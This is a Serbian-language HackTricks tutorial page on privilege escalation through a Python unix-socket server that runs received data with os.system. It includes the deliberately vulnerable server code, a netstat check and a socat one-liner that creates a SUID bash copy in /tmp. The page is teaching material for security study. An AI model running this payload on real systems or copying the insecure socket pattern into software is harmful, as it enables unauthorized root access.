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HackTricks Training AWS Red Team Expert (ARTE)
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HackTricks Training GCP Red Team Expert (GRTE)
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Primer vezivanja soketa sa Pythonom
U sledećem primeru unix soket je kreiran (/tmp/socket_test.s) i sve što je primljeno će biti izvršeno od strane os.system. Znam da ovo nećete naći u stvarnom svetu, ali cilj ovog primera je da se vidi kako izgleda kod koji koristi unix sokete i kako upravljati ulazom u najgorem mogućem slučaju.
{% code title="s.py" %}
import socket
import os, os.path
import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
{% endcode %}
Izvršite kod koristeći python: python s.py i proverite kako socket sluša:
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
Iskorišćavanje
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
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